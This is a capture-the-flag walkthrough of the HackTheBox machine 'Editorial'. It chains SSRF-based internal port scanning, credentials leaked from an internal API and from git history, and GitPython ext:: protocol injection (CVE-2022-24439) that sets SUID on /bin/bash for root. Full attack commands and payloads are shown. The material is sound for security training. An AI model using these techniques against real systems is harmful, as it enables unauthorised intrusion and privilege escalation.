Another medium box that starts with just a web form and ends with a root shell through a surprisingly elegant chain. Editorial is all about knowing what to look for — and what to ask the server to fetch for you.

Machine Info

FieldValue
NameEditorial
PlatformHackTheBox
OSLinux
DifficultyMedium
IP10.129.1.101

TL;DR

SSRF on the book cover URL field → internal API on port 5000 → /api/latest/metadata/messages/authors leaks SSH creds for dev → git history in ~/apps reveals prod credentials → prod can run a GitPython clone script as root → ext:: protocol injection sets SUID on /bin/bash → root.


Recon

Standard nmap to start:

1
nmap -sCV -p- --min-rate 5000 -oN nmap/editorial 10.129.1.101
nmap scan showing ports 22 SSH and 80 HTTP nginx with title Editorial Tiempo Arriba

Two ports: SSH on 22 and nginx on 80. The HTTP title is “Editorial Tiempo Arriba” — a book publishing site. Nothing unusual on SSH, so let’s hit the web app.


Enumeration

The site presents a publishing platform where authors can submit their books. The interesting part is the “Publish with us” section at /upload:

Editorial Tiempo Arriba upload page with book cover URL field and file browse button

There’s a form that accepts a Cover URL for the book — you enter a URL and the server fetches it to use as the cover image. That’s a classic SSRF setup.

Confirming SSRF

To verify the server actually makes outbound requests, I spun up a quick Python HTTP server and pointed the cover URL at my machine:

Book information form with http://10.10.14.2:80 entered as the cover URL
Python HTTP server receiving GET request from 10.129.1.101 confirming SSRF

The server fetched it. SSRF confirmed.

Internal Port Scan via SSRF

Now the real question: what’s running internally? I used Burp Intruder to scan all ports by pointing the bookurl parameter at http://127.0.0.1:§port§ with a simple list of ports 0-65535:

Burp Suite Intruder configured with bookurl pointing to 127.0.0.1 with port as payload position

After the scan, filtering by response length makes the outliers pop immediately:

Burp Intruder results showing port 80 with response length 18158 and port 5000 with 222, standing out from the baseline 128

Port 80 is just the web app itself (huge response). But port 5000 stands out with a distinctly different length — something is listening there that isn’t the main site.


Foothold

Probing the Internal API

When I sent the SSRF to http://127.0.0.1:5000, instead of rendering an image the server returned a file path:

Burp response showing static/uploads/6d12be3b-daf9-4ffd-9ae9-dcbdec7ce54d as the served file path

The server fetched whatever was at port 5000 and saved it as a static upload. Downloading that file revealed a JSON blob listing all available API endpoints:

Mousepad showing JSON with internal API endpoints including messages/promos, coupons, new_authors, messages/authors, platform_use, changelog, and latest metadata

Quite a few routes. The one that jumped out immediately: /api/latest/metadata/messages/authors — described as “Retrieve the welcome message sended to our new authors.” That sounds like it might contain credentials.

Leaking Credentials

Same trick — SSRF to http://127.0.0.1:5000/api/latest/metadata/messages/authors:

Burp response returning a new static uploads path for the authors message file

Download the file:

Mousepad showing welcome message template with credentials Username: dev and Password: dev080217_devAPI!@

There it is — a welcome message template with hardcoded credentials:

1
2
Username: dev
Password: dev080217_devAPI!@

SSH as dev

1
ssh dev@editorial.htb
Successful SSH login as dev to editorial.htb showing Ubuntu 22.04 banner

We’re in.


Post-Exploitation

User Flag

1
2
ls -la
cat user.txt
ls -la output showing home directory with apps folder and cat user.txt revealing the user flag

Note the apps directory sitting there. Also notice .bash_history is symlinked to /dev/null — someone’s been careful. That makes the apps directory more interesting.


Privilege Escalation

Git History in ~/apps

1
cd apps && ls -la
ls -la in apps directory showing only a .git folder, no source files

Just a .git folder — no source files at all. That’s suspicious. Let’s check the status:

git status showing app_api/app.py and app_editorial/app.py as deleted files

Two Python files were deleted from the repo: app_api/app.py and app_editorial/app.py. But the git history is still intact — and that’s where the good stuff hides.

1
git log
git log showing multiple commits, including 'change(api): downgrading prod to dev' and 'feat: create api to editorial info'

One commit title stands out: change(api): downgrading prod to dev. That suggests credentials were changed at some point. Let’s diff that commit against the one before it:

1
git diff 1e84a036b2f33c59e2390730699a488c65643d28
git diff showing old code with prod credentials Username: prod Password: 080217_Producti0n_2023!@ replaced by dev credentials

The old version of app.py had a hardcoded prod password: 080217_Producti0n_2023!@. That’s credential reuse waiting to happen.

Pivoting to prod

1
2
3
su prod
# password: 080217_Producti0n_2023!@
whoami
su prod succeeding and whoami returning prod

sudo -l

1
sudo -l
sudo -l showing prod can run /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py as root with wildcard argument

prod can run one specific Python script as root — /opt/internal_apps/clone_changes/clone_prod_change.py — with any argument (*). Let’s read it:

clone_prod_change.py source showing it takes a URL argument and calls GitPython Repo.clone_from with protocol.ext.allow=always

The script takes a URL as its first argument and calls GitPython’s Repo.clone_from() with -c protocol.ext.allow=always. That flag is the key — it enables git’s ext:: protocol, which allows git to execute an arbitrary command as the transport layer.

GitPython ext:: Protocol Injection

The ext:: protocol works like this: ext::cmd arg1 arg2 tells git to spawn cmd arg1 arg2 and use its stdin/stdout as the git transport. Since the script runs as root, whatever we point it at gets executed as root.

The plan: write a small shell script that sets SUID on /bin/bash, then pass it as the ext:: target.

1
2
3
echo '#!/bin/bash' > /tmp/pwn.sh
echo 'chmod +s /bin/bash' >> /tmp/pwn.sh
chmod +x /tmp/pwn.sh
1
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::/tmp/pwn.sh'
Running the clone script with ext:: payload, git errors about remote repository but the command executes

Git complains that it can’t read from the remote repository — that’s expected, because our script doesn’t speak the git protocol. But it doesn’t matter: the script already ran as root before git checked the response.

Verify:

ls -la /bin/bash showing -rwsr-sr-x confirming SUID bit is set

/bin/bash is now SUID. Drop into a privileged shell:

1
/bin/bash -p
bash -p giving euid=0 root shell, id shows euid=0, whoami shows root, cat /root/root.txt reveals the root flag

euid=0. Root.


Takeaways

  • SSRF as a port scanner: when a server fetches user-supplied URLs, you can use it to map internal services that aren’t exposed externally. The response length difference in Burp Intruder is the tell.
  • Git history never lies: deleted files are gone, but commits aren’t. Always check git log and git diff on interesting repos — especially ones that mention “downgrading” in their commit messages.
  • GitPython + protocol.ext.allow=always = RCE: GitPython’s clone_from passes options directly to git. If you can control the URL and ext:: is allowed, you have arbitrary code execution. This is CVE-2022-24439.

References